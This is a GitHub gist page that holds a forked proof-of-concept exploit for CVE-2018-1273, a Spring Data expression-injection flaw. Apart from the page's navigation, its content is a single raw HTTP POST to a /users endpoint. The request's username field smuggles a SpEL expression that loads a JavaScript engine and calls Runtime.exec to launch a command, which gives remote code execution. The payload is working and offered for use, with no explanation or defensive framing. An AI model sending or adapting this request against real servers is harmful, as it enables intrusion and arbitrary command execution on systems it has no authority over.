Skip to content

Instantly share code, notes, and snippets.

@Hax0rG1rl

Hax0rG1rl/CVE-2018-1273.http

Forked from matthiaskaiser/CVE-2018-1273.http
Created April 13, 2018 01:14
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Hax0rG1rl/b5740544cf5b5167c50e6dc6810958af to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Hax0rG1rl/b5740544cf5b5167c50e6dc6810958af to your computer and use it in GitHub Desktop.
Download ZIP
POC for CVE-2018-1273
Raw
CVE-2018-1273.http
POST /users HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment